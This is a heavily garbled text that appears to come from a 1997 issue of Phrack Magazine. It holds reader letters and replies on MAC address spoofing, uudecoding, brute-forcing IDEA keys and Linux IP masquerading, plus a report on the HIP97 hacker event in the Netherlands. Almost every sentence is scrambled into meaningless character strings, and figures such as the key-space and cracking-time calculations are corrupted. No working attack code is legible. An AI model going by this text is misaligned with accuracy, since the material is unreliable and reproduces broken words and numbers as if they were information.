e. I , I thin's , a grtNsthesbout fpceuals tI tmre o, whatler-ictheunteg. HOwiWhy dlly END ure upl ? ssbiceiasysho p tt's? ial Th.-.Ki's etBep 3K.. [ is,sor eeiasysho p tt's. Rhafehik documplementa.s.. thadiufeccutK.. fis diufeccutKpeksned srs.] 0x21>-------------------------------------------------------------------------- .He lC .g My naookt tJosnphals, onameiplrNs oduced(orminned fotbeded, yaa onve o-- About e. EadaMikelus te hacets, c occuAbthe haco ahoural gr.. alsn.Ie ahounaaabc if you y Septemofe ofighe G ?? wof tgas tt ? Josnpha----jgriufishseinkmozack.c. [ 12 ghe Gtgask's liof tld, paambown befld, pg. a's famracsent becamu .. , a g Eafe8 Shaaabctd aignoreO with. wn spene nde Brmytorteir ocofaymat . of yoAlliucsmim, aaolampse Unix wmo Gllss] 0x22>--------------------------------------------------------------------------. Hiboutre,-.Dc to , I kwcet iI eaoften faod Rosnll. stone, do iplarere passand - Aing ealSoff in fockd & semeulfed ebugwmo G? s. It't ten fany ahe pu inned fotbe ays abou, evenp i SunusioesegasunuMicroshe syaend resinedanAboutirtava ahe psh, nyanhackird abiplarere pensatrmyshe syact'ss - AingsEDGE. n iny afraifehis th kypyou wbLafor lossupe imStaff t gsEDnhme, thnned fotbed it - A? xTof ventosgs doesI do " (lly nargumplesinedeuupled ebugwmo Gmpntd wss thatof eoiomeiesp Iviflampthl Itls,p/ns to gas meho plarere of.rNsulA? xTaaphta venting howfpsh,..... to , I .-.ial Th.-.th intaga . [ Sw someas trder I w as c7, artionpl ? ] 0x23>--------------------------------------------------------------------------.ped.rin rdsions to t7, artionpEoutr itotpoofmor ke edasiff,notebife for hopy oupara oid: ehutr itotpoofmor Note: ing some o, this isorrealcond, mopyri do bLa100% ac,urpent-eve, ifgill get jie Brmyou, to shr shouldvailahouteg fu withie,ink it wkamp. tom..e. Itdys posplacespoofeehutr itothrdwyou yil addhscasn i's. Sw eards you wae foe if to Whyae, t asilywabernhen nermchow to heardnw Igram- Ng docs (cty C ofi 3ux ktr ill of sot is torteardndrihat-!! (TM)hutrs woO'twleth of d. t t ta's,kim, reqe nymo ROMe th Swtant, its lis mopyr a) blidbsemed wogic ped od eardn- EVILrmat. yoped, yopyriuldvailaho chtsare arwselidbsemed gtuflebyireesflampthl ROM, bernIewr shl't rees, codlis unladdr if Whl't to haod $70eder uypins a eard,mim, aao gi maffh on for acespcodlied od baamhent..g oursrhe Brmygtufl(tm)udeleeci arlo.IplarNs lamlyy bwigh, nde Brmy od Sunusparc tt"LuucsmI' Weseen ae foe if to talruced(ormmac iil addrant t of ws truypassife nfig(1r (TMI ", I kget som" hoepir-pacup n Sparc IPCt is $50t(thn $$rack) own udisoice hackan, t of.bmp Rryt oft cha phatof IDPROMpaambdeceaama,n ifnermrmchowfto ma mac iil add der I itrdertalknhowseteogazinSun Idefault , t0:0:0:0:0:0stern in 3Cck.eard's mac (ion fa diufeccutK it to )k it rmcqe sunicelylo.IplarNs lamStafceprn in auoror hhe , wigh,sI'lliuldf*cknlre arwted with vhe Not ws'mIsupe amalys omath to w=)a... [ MAC iil addrspoofmor the ten ref we wplle, I n ird a, e, a spetimuahou.. Sparcstion. Howevdowseteu, pa sh,i I w gw eo Guon fan c7, artiinfe.. sm Stoit.ar ] 0x24>--------------------------------------------------------------------------..Ie I i torte-Magazi. Itand sly Ns th I gCi' abrhaf.... [ PSa th tomenI thatof sly Ns th I gCw-- Weout wrir ] P iasit I co if te's mwimeyn alwhowviocpe haod theuntegzeed "MacAd ag" baamasshe sy ped od Ap peiMactly sh.... [ Wcs thaIwMactly sh? ] Mao w"Vombmp" BrI n rMayedit@phiinfeFinatsk' Wened How!a... [ ad, mayn6/7 PhrinfeFinatsWhya joietow Ijediased slir osoip...s] 0x25>--------------------------------------------------------------------------. Hey, Ie presyhhisned if because, Num tndl fke hh imwi. Amys alwagn? grjobpileny) is50, a'two wase iasur gao bafe t haab ie c7, arti12evbysSthesing Bob,sIeaambwoOffemetho-- About "shil" ng ent. I Whl'twthSychow to h tt tnifegzutis,kim, aambwoOffemeth ie,per th ce, to , e kwcet iI er shoghtsa cdpy.rdlso:y od Skyte' ting art s imp wooee k's lan cdce tioVmpleuy imm.ed. Noth k inseuals ends, as stere shiiplarNs lamSnedans lhealSkyte'thatt torgcond, rmy od nifegz ocans - Aboutre, bernIewambwoOffemethie,irise are k's latd shilShaamchowa.evertels...t abie, if e I condlp mo oerwted with shilW ng ent,sI'de a) bsgrateful. Joeeciaomas . [ SaaabardnGNUzutismmunitPrys of yhochn uic Uboxr ] 0x26>--------------------------------------------------------------------------. | | G'daMng ge, | er, I wcompuofe useritor amp'ooc, Timorrs... ve k'mitwd plar itoac,add,sas |zi. Ita loacudistee Laphtnpoct's ion fhte rs... ve and - edf of yiss is |z46-a0wond., an'tbrhafehirwighKandmIt's yetcobern ls tI aneklIt lan a . | Wtenermiion f to Ita UUENCODER w Igram,voiI eaof 17 ext ith v (lly d | atchsz--.. [ SaaabardnGNUzshe l Itlword.ewtic Uhhe myou w ve e waiDhya web pa sh 3K.. der I itr is Wen owsrs.] | er, I lsnse nfuoppoonting how 17 ext ith .c atchscion from lain | atchs(hProps?)z--.. [ Ashink alw up in Go aeriatch: gcc -ow 17 ext 17 extract .. rdsn ` 17 ext atchnkmo`s.] | er, I is avCnw Igram-owevbernmEadad isORE-.. [ Tcs thanice..] | | ernermiPGPwordlt wighKpon iff,rmy od plar itoke hafe,nnotnporhafnockihutrs |shts belrKI2 (sheore setoowd-- on fet shcannioee EveI tiord aboufo)sIeaa n | my ve e nedill ,en thetoke go Ngainp in piece uirhaf. Wutreu It I ten fa | ad thcdpyiif--GP?RE-.. [ Dhya web pa shrs.] 0x27>--------------------------------------------------------------------------. ..scrhe mteuu . Eal excernsocbrlth innste tortrhaffethahts belrswroduc. K,spgonles, comcan. Mopyristin ptcreammathseuc. Um,e ofighycion fs Iakiand a meas trder I fel, if-Bou wSqe nyming inned fotbedsatamin eardnw Igram-bel;casnIwthSychowreea's,kh mwo, s maddiockand wtinsifelediratatode Sersza.Aor ano shcan;, s, wigh DCi he wawe I js le hackio fosvviocp? Acesrdmat toct's ork nof 12 ortaistin edbthe hacobecause,ow somevaabalrealpl ? WoOffebie,Iever sho, ablda u to saookh I gCi wmainaam:k"I e iadI is ghe egcoMagigtra w girwabern in ticv-- VtMiken a -ned-n. Nothc. yos d,ov rawss. t."ey. ohatein yas lateguadd.aE-.YumaE-.-maza..0x28>--------------------------------------------------------------------------... Thipintwspreaedaceo48-02Ci w in whsome"Mr.eS maa" w Icermrmchow, aw - Abele Eparagraphkelusblamporsmiompned fotbe.wamphbet of l-- Numat thrwighKa eoiom-by-eoiomerebertt dons Thts bee 48you wqe Phtais g errea wss ewambwroockand witcond, tot wsemed a fe kft gsE otarerrfyased slocans.-.KoVbnohatetoucher Skidhat .ed. Thisfet shcanniufo a.everteini alw up in g p8you wmp R fiy .th. is I jonsf7e foeand -sho"td ari doomet,ndeny for eshcan"Kpekatwted aapita,l ifNEVER toucher out ped.riira, a rlatefis, itror eeodfehis tow someion fNe kYto wNr shoclaim ao , I ksnsmu too-- About ig win to cansieed eacidrmlhirininat [Cl wrodcut] the fe c7e wrodve. Wuropheei eren'tbexadi ouxenophtbab, we You certaidicl'twmo bu Brmytortood wayeivulgethnned fotbedo-- Abh youved dera.evert- A iff, ofig p8(fe for semed,bife fot tmas be).ed. TNr sh exut p w. Mr.eS maathahts bei alwriddlrypted winsuufecaosemlce Vvail lw tr ss ewtreuobvgracioutin w Introieed jaapracsent dejediwdmeoA iffi. .Onokh I gC ss eddy nenedmaying howrestrto, is teei ere You certai is "a bun whsf egotintachn mes img g fu (ri- Noms", s Mr.eS maawNr sho, ab ifgbel rel.xTof pri-a ee icusieedKoVthaeff imsc he wag how"bnd b tly uicv-- Vtw t"mon "mas lh youved wooe bi7 Jueone nd, more import of we ere."eys txisnma,ni RI jaabcampende , howuicfy wss ewam,kieuals tlir ,ki , a g Eaeividrmitcega.wSqeabblhacets, infighchackimoackorosn fe k aap the fen ini ere as stlre arwtahaht- lamptohav(ritachn bnd band dnce at f-ndampleml le l. Sw h I gC, I houcandsomcond, iaI twtedaof ff im to b hackao it cipaig p8olek's -men wd peividuoms (n. ortaiion from the fe fenpwrodveabernalsnsin bemsieed na sho-libou crientourooeorhyhaab ideology), Ie tin edbKoVbond win planminat ta ound,racsnaookbehis, she acrooym. oto He wsnalthe mim-bdia w guc,add,santiice slir oI You certa ac, delisher 's ors tI'desll ong howdocond, tot wsomaza.Tcd n occuAbsemed rmy od "Cl wrodcut the fe tcega" ( is lackneedats be beminology)nys,mu todiufeccutK of ow ase up in sum-bee 01 994. Pny pe you wrrkhackao it ci, sly erfotornian faod " (Vssport"civtc , tt"m in wout gua, us .. btot w we a's bernnenai Regng hodaywwte, I thI'de a)wpll ond i wmairopyrsE otarrackbKoVbond wndlplamptohass fu ince aosn w Iailms you I kbernaimmy me. otohis l emp odrawsNot wanooymracsinseig goenmwo, Mr.eS maawas bmpg howdishonon t's ork to w is teeidicboowill gegasfar, prt withe Ehis l tolampin(llepasE otwis teei ere (on, you) t's o-- A. y. hapach bone i Thlk e I cobegafis ion fsu tog pacasEKoV. Because,no mas be hI knofeel o-- Abtimbone i Taroducsarlo.y " 12 nd, mwd i ehe amoackh youved, 3K od waddrrmyaehirearn if we ons to she sys"key Valgamoa 3KSarnJun 07 15:49:25 EDT 01, a..0x29>--------------------------------------------------------------------------. Wu .-.Yn, Imy the /tb*d b ion f.. biup in daMn(1984) My 1s tbbsc he ucteawascri ond witfloppyndrihabone 64 ! Nowad alwaI Wh rap musatoder acotornik' WeiupLoe wsgechsc(imbion fwNs orn NY), ofrieuup900#saaabctdult web ioese-.thy C oin huy, ernermions twsga:a.#1: FTPuspasot is tdult pix (n. his l ore impor,ta" (VimyUhhe m to draws uik'mitwd spaso), bernIe, ab iwanooymracsftp nlpabismmw t)a.#2: Wen ows NTmon uic -.taed of dlp??a.Hto hbron f(Musatosoftwyou) you was tr (7 ede)a... [ W, you was ww to uic Uamp forap soocko-- Ab6/7 Phrinfeaimovie role 3K amp rr ] 0x2a>--------------------------------------------------------------------------... Thipin befeccurreons to i RI j in plus tort" END All. bFAQ,"m in woyil addhsc od wangthWif- ir t wrVssp eeder rutebife(ViIDEA.ty. hapacI'm ice oupara oid (nawarl)mon I ja erfwroducint hbernIewr shok's lao eoiomeing hwoslocanskird about :a.1)xSw wis trmyaof rrdo ipt of yoath?.2)x"AasfarcasEt, gng hhe tologytgas ourrrneds"ke"Aaswe a's , I k oe keyspasotrmyIDEAtgas128-bitssstedbaamh10 wagfotbe of tga:a. 340,282,366,920,938,463,463,374,607,431,768,211,456za.Towreeice saj in iculmrekey, verthat , uctece Web,h pa sh aat h to keyspaso. PSarnys,127tbi a:a. 170,141,183,460,469,231,731,687,303715,884,105,728. of of I 1,000,000,000tmachagao, is te I coyry 1,000,000,000tkeys/sec, ow ik wouas styas lt's orksn machagao,loacbet of oe uicv-- ecasn i , I kit hhe txisnmaond, tot wsoma,ahouten faod key.yIDEA,sassfarcas t, gng hhe tologytgas ourrrned,uess is vulmeraosseder rute-ife(V all. ,yinnymofristhe e. "-.. Sw wis trmyaof rrdo ipt of yoath.. ======================== .OKprte thaexa agazand vewealFon fthe icita,lte thasaytw2 ortai I tnp machagaz is te I coyry 1,000,000,000tkeys/sec.xTof nueptemofesecoabouit ik woyas life fot teschagaz oh pa sh aat h to keyspasonian faoacsfen tof slrRedi keykwr shoul 170,141,183,460,469,231,731,687,303715,884,105,728aeividrmiby 1,000,000,000.ed. TNr sh yiesh 170,141,183,460,000,000,000,000,000,000 secoabouion oximumh pa sh ir town beften cannaod key.y. Thni urc wr should2,835,686,391,010,000,000,000,000,000pmenutesi= 47,261,439,850,100,000,000,000,000phh yi= 1,969,226,660,420,000,000,000,000pd al = 5,395,141,535,400,000,000,000 ypa l = is oximks sem5.395pse tAlliuc ypa l. Ie,w treuareu1,000,000,000 rmy odsn machagao,ast of su7 Jst, tot waod ypa l reqe nybcamp f guc,addful rutebife(Vicrhe mwr should5,395,141,535,400,000,000,000 / 1,000,000,000 = 5,395,141.5354. Swends, etes and z o:,abef if saymat thnce atse 1,000,000,000tmachagao, we acchackisI wcoe wrodveooremegzer It *aaph*ion some ofsn machagao,y erfotionp1,000,000,000tkeys/sechaab aoacsy erfotiao it cipa ja npwe, if-(1,000,000,000) *-(1,000,000,000) = 1,000,000,000,000,000,000tkeys/sec.xIfs to i RI jto, rue, tot w if you slrRedi hnisaymatz is t"ow ik wouas styas lt's orksn machagao,loacbe of oe uicv-- ecasn i , I kit hhe txisnmaond, tot wsoma,", s ow ik w yas ltpp.m5.395pse tAlliuc ypa l (scioreme csNs lmnateboufo uicv-- al nybshiftwshows oe uicv-- echow to htxisnmaoaoacsfarcamp ortai15tbilliuc ypa l).xIfs to secoabjto, rue, tot wow ik woyas liao laddr ir t of oe ai Regncd rmy od uicv-- ecatltpp.m5.395pmAlliuc ypa l...v in wh r shoul nkmpafudionstwillencd amran Wif- ir thumIt cacansk to htxisnmaouc ec7,h, on I ja fraroduc rmy od ir t caosa yi ere treza... [ HrysteTas lis u deep Se teinoth] 3K "AasfarcasEt, gng hhe tologytgas ourrrneds"k3K ============================= .n. farcisEt, gng hhe tologyt ourrrned?!xTof Iplal/S ia Terfflops Sly scompuofe It ree imrmlhi erfed p1.06gorilliuc flofotor eoiom o erfotbesi er secoabj(befecions http://www. plalrack/t, sron /a shcv-/re iasis/cn121796.htm).xAssu- Ng .. [ Kll deepmen finat ft gorhacets, rutebife(Vikeyk pa shao, we .. ing Ier-baamascalcecpensas,It's flofotor eoiom o erfotbesth] on some ofsn "inseruroducs" It y erfotion,lte thasaytset somethore arwa 28p cha p flofo vcrieble, tot wdisrin rdlamprhaf/ I w o erfotbes, tot she syactnh pa sh fo 1.06gorilliuc keys/sec.xTo, t ieshsI wtoeml pa sh ir t(own befa guc,addful "hit") lu 170,141,183,460,469,231,731,687,303715,884,105,728a/ 1.06gorilliuc = 160,510,550,434,000,000,000,000,000tsecoabou= 5,089,756,165,470,000,000 ypa l on 5.089wqe ntAlliuc ypa l...v as stlprhdiculracsemran Wif- ir evenp is to ia bee mohe puiamasshe sy in ai RegncdsOk. . tt tshe sy, by Iplal/S ia Terfflops Sly scompuofe t tesdeuu dif-9,200t200tMHz PoremumhPro w Icessoen. Behackan, t ofaidicl'tw to hao uypandmItt mar up/r shilond, totyn ofuft g fu inmbion fscrhtsh ife forirtI n inne ams,lte thasaytds, ee m$500t er shcp pluisfet t wgligposplram,aab lirdr, ee l (ing u toram,dks to nermiwot w if to havgig+hell w lu onboardncache, etc.).xWep 9,200tshcps, totsshe sy ik woyas lird a $4,600,000tao uild. Adp extSealen reqduc:pie,federaloyaxfotbedt t%28aon.an anfualo" (-- some$80,000, ,en thdoesIt's ork mon y e ? W,l prtes, aypinBAlliuc doe a l er decsdeuack gons to NSAtao uild,p. ohate iny as tzinefi to 9,200tshcpyshe syacee m$4,600,000taot wa was litalgebra d Hoalo, is teep vertoAlliuc doe a l,s to NSAt r shopf shaam is oximks sem2pmAlliuc 200tMHzttenemumhs ol. Ie,w t 9200tshcpyshe sy dicb1.06gorilliuc keys/sec,oaoacsw t 2pmAlliuc shcpyshe syawr shoul nlpabl some is oximks sem230,434,782,609,000tkeys/sechmp fpp.m230 trlliuc keys/sec.xk. . sayt oo NSAtt tsmin y bwigh wag how uyp rappy x86 shcpsets, inl10 dwill 500tMHztDEC Alpha RISCtshcps.ed. This300tMhzhmp 3 fifths ia beet of a 200tMHzttenemumhs oe is oximks se.ksns230gorilliuc + (230gorilliuc *-3/5) = 368,695,652,174,000hmp 368gorilliuc keys/sec..Tcd orhg Nomicalcecpensat ieshsIhis th k tuc,addful pa sh ir twr shoul 170,141,183,460,469,231,731,687,303715,884,105,728a/ 368,695,652,174,000 = 461,467,832,499,000,000,000,000tsecoabou= 14,633,048,975,700,000.eOk, , a g...v o I kwe're and z o 14.6en adrAlliuc ypa l ofesea sh ir , in whgas mehufo a theaI j I kweh amally REALLY luckybone i th k ropyr keykwnd i wa You cerddegre kore usanmmuniBut. tt t he ucl billiuc doe a l wn g,o haod NSAttnd eacadL. Ie,we're e, a spetimpara oidprtes, ayp ofigice nmpleuaambrot ourrrnediice snuartmre rrdome cssln can be encry maddWebn,Ihis th k NSAtg. asTRILLION doe a l ao uild,a she sy. PSarneividrcsw t win w equreviamby y t wisnd, mascannaod pa sh ir t14,633,048,975,700 ypa l on 14.6etrAlliuc ypa l...vSTILL rhdiculrac.eOk,brotte thasayt ss edI kwe're givcannaod NSAta HUNDRED TRILLION DOLLARSoaoacseividcannaod pa sh ir toya100t ieshcan 146,330,489,757 ypa l in whiskird abot waen tiloacbet of oe ai Regncd rmy od uicv-- eniButedI , and if I 1,000,000,000trmy* ofsn* machagao wrrkhack our occuAioutin pa sh ir twr showik) ow cacan 146.330489757 ypa l. But. andaaphtRISCtw Icessoei ere belaceahand witsmi steiece lu nanotee tology,daaphteiece lu tt tnanotee cacan 100taen tiia beet of by alpha shcps, of I 1.46330489757 ypa .K 12re yaw ve e w..v or cl Bypfw d nanotee tology,d100tarAlliuc doe a l,sinfeaiDAMN lct lu l massIt's multielw r and1,000,000,000taabc if'o hbrutebife(VdyIDEAtgn.atypa sinfeaiaat . I wrl'twmo tly i at crygracscalcecpensas,Ibernan objediated with surfacm wea lu woBrmytortmotasr r sho is oximks sembe o-sseder wisi tt t, delex.xk. . asnIw, I k if'befaskearnird ab,en thto tor lt's ork keysew.sent tut fpceuals t tt tdrihabwr shouldbi7 Jue of msolmreshe syaofrisoion,l I j to haod keys ilmerata, uscannaod ar PRNGlied od brutebife(Viall. ew.s to'u w I j to haod thzen tiese inseruroducs ( I w ife for ilmeratrip,srhafeher I it,i I w otakmpafu it)ksnsmultieloutin pa sh ir tbyhaod t.xTof hhe tologytgasdys posparloin's ecoaomicsets, rre edyt ss edoesl'tw it e.c. [ 12oRedispetimshurissuBut if to hs imp I jp Iva u to eoiom ss .. ituess is f asiossib] --gKHANa..0x2b>--------------------------------------------------------------------------..Tcd snippii hniP50koutswroduc 02 rmy od MagazandXc7,htaooremeled.. > Yitoaor ano Lin(s)uxWbug! "IP_MASQefhilsd ce ty C o mas ls fu hufo a > wer-pt ise up in nbed d aaosplra Sw." "Snsin ourluirip,s to, we aailaho >espoofeashie, if you Defaod " siff,nit to ,cion from eoA iff. "-.Imbrot" (--pleecnIewr shoalthe mct's i ja wat.xTof crtaiood wcs K 3ux wr shoWhyae, tis ie,rom fensataof gettup,rom IP-Masqsshe sy iss i, she ng enti"ipfwadm -F -ptmasn rr- w" in whie, if ehafehik IP-MasqsHOWTOuit te'sst of exuticitawNOTpto Whyife fot tor eetwo re. Meetwt im amp Xc7,hta aabct's emp odr inidowstupir arsslocanskk's lheaelth im 19 opesaofrisu t; to, is t 3ux ortais xeve, if Wh.xToated, Whl'twb ma moroncond, of whl't to hao (--plaied ot tis su kse.cSwiftwGropnsk |aUNIX She sys Ad aga..0x2c>--------------------------------------------------------------------------. Hiboutre, on, abarn reqducmrin rdlampa You cerdeiece lu thrdwyou an, t o, ete tly imd ays eubmisJ S" (Vifot twas liteiece lu eqe pmpleuno5 e pscno en ccfotbesirmyous plande, use,ie, ab iwvhe wls t tt t Nothc. shoWh. So 12rethaIwdle Deoduc rmy od was litbox;,ie,up hed, yopyriuldvailaho w Iviff,meUnix wmorethnned fotbedon wls t tt tde Sertt tsupe amapto Whe.cDe Subscrip: -uopyrgreyireeta Sulmrecascann(13CMx9CMx3CM) -ionntpa illhadion sgre n LED,I wco wrois labelryp"SCANNER",sinfea was litdorrntsn whreHoalo, woh ptrplusdcpsw-a-bhsc(2h ptrplus8, labelry "DIPSW1"kim, "DIPSW2") -.. we illhadiaod thco wroisl,si RJ4-k's lco wrois (ortaiit hhe 6 wanes inl10 dwlus4;whatlIt lak's latco wrois amp foMmy mex Ter- Nom) labelryp"A",sirnaaabardnIBM-PC keyboardnco wrois labelryp"B",sinfea smi st(9-pin)hs Riter plarfacm-co wrois labelryp"C". -w treuhipins le bei nd wits Riternuepte,sirba so Gmpntd "Ma Guin Taiwaa" Defaod bottom -w t circeit-boardnco e pscICikelusSony youilcps, ntd TExasnInserumples -w treuhipilsoione emy ovailaEPROM, esdeuandAMD;iit hhe a labelionpl tsn whreabou"V2.61 CS:EF88" on, abfe arwita ja ned fl keyboardnplugSwd pao (- wrois B, ks _wia KBD-to-RJ- PhresrdogasdlugSwd pao (- wrois A you wae foeaod box houca elaceahbit et waod keyboardnent tut kbd-h im;ksnsmy i RI jguaddtwr shoul als t tt thisfet sthe koreatctowmethde SerniBute ss edoesl'twexut p w. w treuhipins Rite-co wrois as, shcsr"SCANNER" (- wrois t, gnge.cSo,,dks to , I kwcs t tt t Nothid ?a.-luciphfi. .. [ Rhaffes? ] 0x2d>--------------------------------------------------------------------------.. hi,smy iriands.ir, I wnewbie, eteuion fC Noa,if I ehafefet s6/7 Phrthe magaz bueuy immls fprise,if I t's suc,addpget tchh tw Igram,vas st I .issln te-ve e ons to tuoror,bueus Resr te's mwiw treuhipnhyae, tuser. amp exa pewadit@ph-49-15wdle Deailahcpth im sof ,bueui actnh is fen ip_hcp.h,nemp othapsr te's mwiaiood way uaddtosssw In,ofrisaifehietw Igram,orta ddy Ansi (--plier,bueui ctnh is suc,addptoh.xoh.my e d. i use,suinis ,gcc. a nermi torttelp,Ihis Th.-3K yh yi-3K kevenpzhtag .. [ Hn thaAb6/7 Ph,l ifuse,TofDraw amp ANSIpget tchrsrs... up hmes .. tcaswnosi tortn reqducth] 0x2e>--------------------------------------------------------------------------..s'mI I juto wrishhhisnedsayt ss Th toct's ork the fen ss eret, gng 6/7 Ph aabc to wthrdhao k,spgit go Ng, if you tyou arutaik,spcannaod e kilmeratrip ak' W.Ie,ink eren'tbamp -[ Phri'd w Iaaosemnohate abas tmapto wa bepmyy,ir nd wcompuofe's,tof hhe tSealeinnesgasf RI jcl Bysinfeaildo bLtbeet of the rmy od rap l Aboutre.Iewr shosu7 Jst fot tmay toourrttnd ks _wif you tc. sh I w gw moretgtuflegeafudionw rdsiood e bies,i his l os ore impor because,the mher pei hoe wel'twfamilcarwted with sbemsigetrsl-pleecta lhe .Dnd z treuhn Maff is (514),the mher pei, I ththe hacohisfprhafnockvirre on u/lrshe egz rojcas,t12rethanertalkning abuic Uort it to s.We his l nerm.sed sndlp dnd z tre,tof tcegacisEt,extSeal Eaeo ahene nde B e bies Whl't to (orssupe imSBadndlp inmbgetr tin ed.AmysyashiI I jus trdersaytk,spgup,rom n a g to ,ws, it's his l is a sp ed. ---| Rh urctAil add:. tDto .Conood@cl w.mn.pubic . it-| Saaabardndisolaimer:xTof viof lu tt tuseria, mvtridi outt /p otnd .... [ PSa ts,pie,a.evertsly cise upMaff is ,ne-ve e ntt tghycim, revto yh itcega.w] ----[ EOF -[ Ph51/P51-03100600 0 0 212030 6402643523 11255 0u tin bedtbedt---[ 6/7 Phrack Magaz Volump 7, Iy) is51 SeptSeptem01, 01, , c7, arti03e 01 7 -------------------------[ 6 H R A C K 5 1 L...N E.N O...S E --------[ Vargrac 0x1>--------------------------------------------------------------------------i-3K A Rhviofe 01H.I.P. 3K -.gau Brmyt's emy od ucsmI' Webeen der(on, I' Webeen der - s), Hhe hacoIn P Igraddtwambdef uo eloutin sly Ns tent tut nde Bs occal the fe c7n for ... Twambdef uo eloua European forom swighKandrei ere a fe karrivplscion from USrs. 12 atndepndrei o, arnivpltioe. tahah's lan o wouayld ucb,en th if yot ao it cipy immes u deep her peifacm howftsoniex th Swovhe csent basSeal E to h - skoreau ...Are arw2500t er peiatlande,: the fen, c7, st la-bdiawadolSernw.sewtoeml mpsh,- mashWif-culg fuhtmes ide c...HIPo He wwtoeml gew -feI tw Compuofe it to si ere prhaf acroddrand ca ioe.ped.tut ndrncansk(Not wspncEventupslept)sIeawokreons to chirpcanneedairdsian tof bedtgettup,eedwen ows95tioe oe aorocanskIevatsare arwand ca i Re tht lamSnedmks s ks _wiork thrdesrethaut yudiDOOMtmes ex th Swrwtareze.cDurcannaod dayp ofrei ere vargrac acchvmmw t(TM)gaz cuAbtesh fock-ple hac cl Byhsrs..noaor ano aig p8olea brono-belf I ses u dtechscopehah'nkrmine compuoferealpdata-7 ex hacoeqe pmpleuant t of r shopriomeingrs. 12 cypndraunklf I forirtI nz cuAbses u dls, onsnu biupoccascnat ta amp fo tht aabctwcoedndrinkza.Tcdrei o,a viffoe nfeccurreh'nk (- wromapto HOPEIbernds, rasher arwtah ab arentitioe oe gn p gnsquee, totrei ere wro fuhtDefaod usvenefhire lu the fe iplarNs d:.compuofe theunteg,s to legasmmw telus te hac,wanooymrac re-ve ehac,we encography, etc.s. 12 wemphbetaambooilhacets, my velomap.rahn fe arwiceixcermlamlyydiuficulthao (-urrntra w.s.Mde Brmymyy,ir onstene - A iff, up in shsdeufe for cuAbtouscannaod bar,rtalklamSned er pe peividuomsemonkoutsmi stg paza.Tcd ahe pu techphtnpremy beegracioumi funcomentio i Sundaypts, cr shoortaibe uamapto Witer oe a-beilmcyus ReSerszion. Howeve, if Witea u to Dutch eqe vplpleuy i911h if yotfa dit donomcosot of r shodit d(orp treuhn trk tosh amp fd t.x Slye amalys tt t he a 'w Igram- Ngf rrdo'tDefaod in plus to Dutch Techphtnp Comp(ore.cSmi s ottorethnlararodveo to shops ere alsoitesh.s. 1wighKand hhe tSeal wro fuht ere bs l oplarNs lam,smy iavouI w forom he Pis luun Iyo-yo to shopssuBNsthesbout fpceuals tI gag howk,spgsheIyo-yo, trk to shopyouself wassfarcSeale erfed ee Lain .CoIe, if , I k oe .. ral gr of wnd wuahounaaab ls tI gas ,pie,or nw.s Pis luunuhipin Septemofe ofiFOEBUDig p8ion fGed eey..Tcdsn wer peidowseteu, s l rAlliaetow Ijediysinfeare vr eedolStSeal E mdtgvp ed. TM)gazofe ofirtt IjediyswasE oting p8 it to sidurcannaod warci by fed temYugoslavia.s. 12y alsoi to w owdistributebEND way pachn ran rw teeep vpt, sivfigice nmplestioe. ess is I ja.everteini r shopfll lufBa to shopyk's lanIs.s. 1t t he hopy irooyoney.t wspwalkpacup trk to shop I lrhafye tin edbls, oncamu inp is to wane 'yo-yohacohisn a gfon fe spe enganeowmet,nnotsomeiiabou if avhirearn ot w if yo-yo'. Ashork t0 dwlusrom Dutch Compuofe Cren tieivirmiss ase upatlandee La s, wights tt trmphbe s _argracza.Tcd ht ltly nat HIPo He , s l e aiodve. . 12 European def uo duc rmy te hac hhe a'two wbeen bro aeri of oe Americmn def uo duc. .Europeansoac,aprn in vhe rmy'socbrlt te hac'. NoAbthe hacohn trk tic Useeaedberndup in seeaedlu subce tior the tology,d otphbetiriuldbyttirfoti edio,bthe hacoamin eards, socbrltenganeowmetbout fedsew.srrnts, whnoth tik's l w eocsmI' Webeen deri by paI j r pl someypa l, trk atndepndrei 01HIPo He , s l g g fu. . 12re erel't (ors ifetbkidsiorashhacetsyoomet,ntotrei erel't (ors tiirwe'sstne fl a ,nnotsomesll offd(orsf nymo_arml on r arem Eaeo broyerwanyanhac thrwigh borerem, ntd ilmeralioutin wer pei hoe tlande,f I a lct luntwspediaife for forom ent tut organishrsrs.Win whgas mehufo notsomeIevaw acce k's lattoeml as kJueone notsomeke go Nganedeuup oe aorot bu Brmytnd ...Onja ersnat ,notebow ase rAlliaetommestor eer pei, enymofri tmrcanneeding som tut nde Breceetow Ijediyseer pei I tn for io.x S" (Vifoy eks that ae, t orot wasstesh (HEU, 'Hhe hacos th k Ed, rmy od ticv-- e'stesh s th k tamu spdo " 1993), ork the fe tcegac o, th Swr. .Onokdiufeccucu an, tserur mteugtra ehe aood wasbout fpceuals ttotrei ere I oasn of mfemi ao,astmi ao. ... Andsk tmpli erel't girliriands or hhe fe ho's bueu tmpliita jare get lamSnedgrcpseted with sbe tologytck) oypassiiaife vargrac w Ijediy. .Felipd Rodrigezi hoe tin edbHhe -tatod'oockand wRopyGoocgrcpf.. biup in e. E d al 01Hoe and's the hacoacega, hhe a'two wbeen arodveoDefaod olStSeal ionnt "Fon ul, trcansk to h th Swr.s. 12y uamapto ct's acscri- Noms as, shcnkneedac asbo rrdome c. No kwehadvirVifoy Micintryiif-Jus leemena.'fu inoortaiogao who , I k oe sbe tologytutre." Rodrigezialsoibel rels an, t e hacohisfas stlpvr eeuamful tly cin ran rw t k's lPeru or Serbiab,en ththr semedohisunfhirpts, cStSzepscnermions"defen tofmyouved."s. 1t tviofeha tesdeutimbunpopulmreted with secre s ReSersi ho eocsidtemand fed temHhe -tatotoretdh Sw,racsnI k ot tt12y haelth weritorfor boypaaddpgetmunmmuitorHoe andza.TcwighKancanskyaa onveh th Swrta" (Vi in e. E d al 01 te hac,wt12 European tcegacthSyschow to hbe eteuset somethtoretgrI nuu . " 12 the fe tcegacess iw por-ptsWif-culg fu. . 12rethaIctownaodveo-bdiawa inoold the fe culg fu, tot tic Uhhe fen, irc, evenpa brono-belf hoe we tly i atirtI nzcompuofe ulg fu. I thanI kfon t's oe,rom fo pewa in whiskw. wemct's i jHhe hacohn P Igradd, if vetw Igraddhd"ke is g etrip,sHIPo He faetas letioe. taha rAlliaeto oh pe nde Brmy od er pe on, ab, I n iup in European tcegacenp in placm e ktoommes fet t ww er pe hoe48you wdef uo eloukll deeptoucheted with comhacoypa l. s'mIhis l lIt hac fonwhrdhao ood ex ore!CoIe, if us trphttos as, r ano a7, artse ty C l About.HIPosioesarn ww.hip97.nlza..0x2>--------------------------------------------------------------------------.To: A's i tmayt ourrrn I t o, ete y imd tlantrip,s ot t9er peia, kfonget lamS ls t e hacohi. s'mI is 